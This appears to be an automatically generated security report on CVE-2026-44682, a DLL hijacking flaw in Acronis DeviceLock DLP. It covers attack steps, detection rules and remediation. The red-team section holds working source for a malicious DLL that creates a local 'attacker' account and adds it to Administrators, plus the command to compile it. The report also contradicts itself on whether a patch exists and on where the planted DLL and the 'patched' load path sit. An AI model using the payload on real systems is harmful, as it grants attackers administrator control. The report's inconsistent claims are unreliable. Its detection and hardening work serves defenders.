CVE-2026-44682

Executive Summary

CVE-2026-44682 is a local privilege escalation vulnerability in Acronis DeviceLock DLP for Windows, caused by an insecure DLL loading mechanism (DLL hijacking). An authenticated local attacker can exploit this flaw to execute arbitrary code with elevated privileges, potentially gaining SYSTEM-level access. The vulnerability affects all builds prior to 9.0.15051.93227. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet issued a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using the affected software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Windows-native binary vulnerability in a commercial DLP product.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – full data access possible.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential for denial of service.

Threat Level: High. While no public exploit exists, the low attack complexity and high impact make this a priority for patching once available.

Deep Dive & Mechanics

The vulnerability resides in the DLL loading mechanism of Acronis DeviceLock DLP. The application fails to use absolute paths when loading dynamic-link libraries (DLLs), allowing an attacker to place a malicious DLL in a directory that is searched before the legitimate system path (e.g., the application’s working directory or a user-writable path). When the application starts or performs a specific operation, it loads the attacker’s DLL instead of the intended one, executing arbitrary code in the context of the vulnerable process.

Key Technical Details:

• CWE-427: Uncontrolled Search Path Element – the application uses a relative path or a search order that includes user-writable directories.
• Attack Vector: Local – the attacker must have a user account on the target system.
• Privilege Escalation: The vulnerable process runs with high privileges (e.g., SYSTEM or Administrator), so the injected code inherits those privileges.
• Affected Component: Acronis DeviceLock DLP service or associated executables.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the DLL loading logic in builds < 9.0.15051.93227. The patched version (9.0.15051.93227 or later) is expected to use absolute paths or safe DLL search modes (e.g., SetDllDirectory("") or LoadLibraryEx with LOAD_LIBRARY_SEARCH_SYSTEM32).

Vulnerable Code (Conceptual):

// Vulnerable: uses relative path
HMODULE hMod = LoadLibrary(L"helper.dll");

Patched Code (Expected):

// Patched: uses absolute path
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\Acronis\\DeviceLock\\helper.dll");

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local user account on a Windows system running Acronis DeviceLock DLP build < 9.0.15051.93227.
• Ability to write to a directory in the DLL search path (e.g., the application’s install directory or a user-writable temp folder).

Steps:

1. Identify the vulnerable DLL name (e.g., helper.dll) by monitoring the application’s process with Process Monitor (Procmon) and filtering for Name not found events.
2. Create a malicious DLL that executes a payload (e.g., reverse shell, add user to Administrators group).
3. Place the malicious DLL in the vulnerable search path (e.g., C:\Program Files\Acronis\DeviceLock\helper.dll).
4. Trigger the application (e.g., restart the service or perform a specific action).
5. The malicious DLL is loaded, and the payload executes with elevated privileges.

Example Malicious DLL (C++):

#include <windows.h>
#pragma comment(lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute payload: add user to Administrators group
        system("net user attacker P@ssw0rd! /add");
        system("net localgroup Administrators attacker /add");
    }
    return TRUE;
}

Compilation:

x86_64-w64-mingw32-gcc -shared -o helper.dll malicious.c

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unexpected DLL loads using Sysmon Event ID 7 (Image loaded).
2. Look for DLLs loaded from non-standard paths (e.g., user-writable directories, temp folders).
3. Use AppLocker or Windows Defender Application Control (WDAC) to block unsigned DLLs.
4. Enable Safe DLL Search Mode via registry: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1.

Hunting Query (KQL):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName endswith ".dll"
| where FolderPath startswith "C:\\Users\\" or FolderPath startswith "C:\\Windows\\Temp"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName

Indicators of Compromise (IOCs)

• File Hashes (Malicious DLL): (None public, but monitor for unknown DLLs in the application directory)
• Process Anomalies: DeviceLockService.exe or DLPManager.exe loading DLLs from user-writable paths.
• Registry Changes: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode set to 0.
• Network Connections: Outbound connections from the DLP process to unknown IPs (if payload is a reverse shell).
• Event Logs: Windows Security Event ID 4688 (Process Creation) with suspicious command lines.

Detection Engineering

YARA Rule

rule CVE_2026_44682_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Acronis DeviceLock DLP"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44682"
    strings:
        $s1 = "helper.dll" nocase
        $s2 = "DeviceLock" nocase
        $s3 = "DLL_PROCESS_ATTACH" nocase
    condition:
        uint16(0) == 0x5A4D and (all of ($s*))
}

Sigma Rule

title: CVE-2026-44682 - DLL Hijacking in Acronis DeviceLock DLP
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from non-standard paths by Acronis DeviceLock processes
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44682
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith:
            - '\\DeviceLockService.exe'
            - '\\DLPManager.exe'
        ImageLoaded|startswith:
            - 'C:\\Users\\'
            - 'C:\\Windows\\Temp\\'
            - 'C:\\ProgramData\\'
    condition: selection
falsepositives:
    - Legitimate DLLs placed in user directories by administrators
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2026-44682 - Potential DLL Hijack Payload Download";
    flow:to_server,established;
    content:"helper.dll"; http_uri; nocase;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Acronis DeviceLock DLP to build 9.0.15051.93227 or later as soon as the patch is released.
2. Workaround: Enable Safe DLL Search Mode via registry:
   • Set HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to 1 (DWORD).
3. Restrict Permissions: Remove write permissions for standard users on the application directory (e.g., C:\Program Files\Acronis\DeviceLock).
4. Application Control: Use AppLocker or WDAC to allow only signed DLLs from trusted paths.

Long-Term Measures:

• Implement a robust patch management process.
• Monitor vendor advisories for Acronis DeviceLock DLP.
• Conduct regular security assessments of third-party software.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.